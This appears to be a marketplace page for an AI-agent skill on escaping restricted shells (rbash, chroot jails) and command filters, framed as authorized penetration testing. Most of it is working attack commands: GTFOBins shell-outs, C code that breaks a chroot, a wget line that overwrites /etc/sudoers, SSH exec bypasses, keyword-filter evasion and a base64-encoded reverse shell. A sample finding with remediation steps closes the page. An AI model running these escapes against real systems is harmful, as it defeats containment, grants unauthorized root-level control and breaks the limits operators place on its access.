Escaping restricted/limited shells (rbash, rksh, lshell, chroot jails) and command-execution filters during authorized engagements - using interactive command launchers, environment/PATH abuse, command substitution and quoting/encoding tricks, SSH/SCP exec, GTFOBins, and language interpreters to regain a full shell.
Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.
Quelldateien prüfen
Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.
Mit Codex oder Claude installieren Kopieren Sie diesen Prompt, fügen Sie ihn in Codex, Claude oder einen anderen Assistant ein und lassen Sie die Skill-Seite prüfen und installieren.
Ein direkter Befehl überspringt den Prüf-Prompt. Prüfen Sie die Quelle, bevor Sie ihn ausführen.
Escaping restricted/limited shells (rbash, rksh, lshell, chroot jails) and command-execution filters during authorized engagements - using interactive command launchers, environment/PATH abuse, command substitution and quoting/encoding tricks, SSH/SCP exec, GTFOBins, and language interpreters to regain a full shell.
How to CONFIRM: a previously "command not found" binary (e.g. id, cat) now runs.
GTFOBins shell-out from any allowed binary — if the menu lets you run vi, less, man, awk, find, ed, etc., spawn a shell from inside it.
:set shell=/bin/sh # inside vi/vim, then:
:shell
How to CONFIRM: search the binary on https://gtfobins.github.io/ for the "Shell" property, then verify you reach an unrestricted prompt.
chroot escape needs root inside the jail — two chroots cannot coexist on Linux, so a root-owned process can chroot into a new dir while staying outside it.
// gcc break_chroot.c -o break_chroot ; run inside the jail as root
mkdir("chroot-dir",0755); chroot("chroot-dir");
for(int i=0;i<1000;i++) chdir(".."); chroot("."); system("/bin/bash");
How to CONFIRM: after running, ls / shows the real root filesystem (e.g. /etc/shadow present), not the jail.
Write to a writable+executable path, or overwrite config — when red/vi can write, drop /bin/bash content into an executable path, or overwrite sudoers.
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers # if writable
Workflow
Step 1: Profile the jail
echo$SHELL# what restricted shell are we inecho$PATH# which dirs are allowedenv ; export ; pwd# exported vars, current direcho /home/* # globbing still lists dirs even if ls is blockedecho$0# confirm the shell binary (rbash vs bash)
Step 2: Try the cheapest escapes first (SSH / PATH / allowed binary)
# Re-login bypassing the restricted shell entirely
ssh -t user@<IP> bash
ssh user@<IP> -t "bash --noprofile -i"# Reset PATH from inside if you are already indeclare -n PATH; export PATH=/bin; bash -i
BASH_CMDS[shell]=/bin/bash; shell -i
# Shell out of an allowed editor/pager (GTFOBins)
vi ; then :set shell=/bin/sh and :shell
Tool that automates several chroot-escape scenarios.
Bashfuscator
Generates obfuscated bash that evades keyword/character filters.
scp / wget
Pull replacement configs (e.g. overwrite /etc/sudoers) when paths are writable.
Common Scenarios
Scenario 1: rbash jump host escaped via SSH exec
An SSH account drops into rbash with a locked PATH. Reconnecting with ssh user@host -t "bash --noprofile -i" lands an unrestricted bash, confirmed by echo $0 returning bash and cd / working.
Scenario 2: Menu allows only less, escaped via GTFOBins
A restricted appliance lets the operator view logs with less. From the pager, !/bin/sh (a GTFOBins "Shell" primitive) opens a full shell as the service account, enabling further enumeration.
Scenario 3: Web command injection with filtered spaces/keywords
A web parameter reaches system() but strips spaces and the word cat. {cat,/etc/passwd} and who$@ami smuggle the commands past the filter, and bash<<<$(base64 -d<<<...) runs a base64-encoded reverse shell.
Output Format
## Restricted Shell Bypass Finding
**Environment**: SSH account 'support' on jump-01 (restricted shell: rbash)
**Severity**: High
**Finding**: Restricted shell can be escaped to a full interactive shell
**Evidence**:
- Login drops into rbash (`echo $0` -> rbash; `cd /` -> "restricted")
- `ssh support@jump-01 -t "bash --noprofile -i"` -> full bash
- Post-escape: `id` -> uid=1003(support); `cat /etc/passwd` readable
**Impact**: The restricted account provides unrestricted command execution on the jump host, defeating the intended containment and enabling lateral movement and local privilege-escalation enumeration.
**Recommendation**:
1. Disable command/pseudo-tty execution for restricted accounts (`ForceCommand`, no `-t` shell) and set `PermitTTY no` where appropriate.
2. Remove shell-capable binaries (vi/less/awk/find with -exec) from the restricted PATH, or replace with no-shell wrappers.
3. Lock PATH and shell builtins; do not rely on chroot alone for untrusted-root containment.
4. Prefer purpose-built restricted environments (forced commands, containers, MFA) over rbash.
